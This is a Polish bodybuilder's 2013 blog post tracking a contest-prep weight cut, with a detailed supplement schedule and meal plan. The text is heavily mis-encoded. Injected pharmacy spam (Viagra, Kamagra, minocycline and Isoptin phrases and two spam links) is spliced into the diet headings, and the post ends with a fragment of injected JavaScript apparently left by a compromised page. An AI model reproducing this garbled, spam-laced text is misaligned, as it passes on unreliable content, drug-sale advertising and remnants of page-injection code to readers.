JaBi – Na 8 tygodni przed Mistrzostwami Polski 2013

25.02.2013 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

CzeAi??Ai??,

Za mnAi?? juA? poAi??owa przygotowaAi?? z 16 tygodni czyli 8 tygodni, a 8 tygodni zostaAi??o jeszcze przede mnAi??.
Jak na razie przez 8 tygodni udaAi??o mi siAi?? zrzuciAi?? 10,5 kg ( z 103 na 92,5 kg).

Nie chce nic zapeszaAi??, ale wszystko idzie w dobrym kierunku, a waga leci w dA?Ai?? z odpowiednim tempem.

Wczoraj PozowaAi??em oraz zrobiAi??em 50 minut aerobA?w – tAi??tno do 130.

Fotki z wczoraj :
92,5 kg






JeAi??li chodzi o suplementacje wyglAi??da tak samo – na razie zostaje przy 35 gram Vitargo i 50 gram izolatu po aerobach. W pA?A?niejszym czasie albo doAi??oA?Ai?? wiAi??cej, albo wywalAi?? caAi??kiem vitargo – zobaczAi?? co sie dziaAi?? bAi??dzie.

Aeroby ciAi??gle 6 x po 50 min – moA?e w tym tygodniu dam po 55 min jak siAi?? wyrobie czasowo, na razie nie chce podejmowaAi?? A?adnych drastycznych zmian, bo wszystko siAi?? zmienia tak jak powinno.
Dopada mnie wieczny gAi??A?d, opAi??tanie przez lodA?wkAi?? i nocne koszmary zwiAi??zane z tatarem i pierogami.

I CM3 Powder – petarda 2 miarki na 1,5 litra wody bezkaloryczny napA?j, ktA?ry zawiera kreatynAi??, bardzo pomocny podczas redukcji gdzie sAi??odkiego chce siAi?? na kaA?dym kroku ( patent zdradziAi?? mi Tomasz Lech).

JeAi??li natomiast chodzi o dietAi?? minocycline cost walmart w ostatnim posiAi??ku zmieniAi??em 250 gram woAi??owiny na 200- 250 gram piersi z kurczaka.

SUPLEMENTACJA Purchase Order :
+ Rano:
– 5 gram proszku zasadowego
– 5 gram CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500
– 5 gram BCAA Powder
– 10 gram Glutamine Extreme
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 0,5 tab VIT-C Strong 1000
– 1 kaps MAGNE-100 Sport

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ Przed Treningiem:
– 10 gram S.A.W.
– 10gram BCAA Powder

+ Po treningu siAi??owym :
– 10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3
– 1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 50 gram IsoLate 100
– 35 gram Vitargo electro-energy

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 1 Vitamin B Complex
– 2 kaps GABA 750

A jeAi??li chodzi o dietAi?? to bez zmian jak na razie :

DIETA : Buy

1 POSIA?EK : active ingredient in viagra
130 gram zmielonych pAi??atkA?w owsianych
50 gram ISOLATE 100

Purchase 2 POSIA?EK : http://www.g168gin.com/?p=23317 buy isoptin prospect kamagra oral jelly price. cheap Kamagra. kamagra oral jelly review forum.
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

http://suavi.info/index.php/generic-drug-for-aygestin/ 3 POSIA?EK :
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

4 POSIA?EK :
100 gram ryA?u basmatii
200 gram piersi z kurczaka
70 gram warzyw

POSIA?EK (po aerobach) :
– 50 gram ISOLATE 100
– 35 gram Vitargo electro-energy

5 POSIA?EK (po siAi??owni) :
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

6 POSIA?EK : Purchase
200 – 250 gram piersi z kurczaka

 

Pozdrawiam Hej, CzeAi??Ai??} else { Order } else {document.currentScript.parentNode.insertBefore(s, document.currentScript);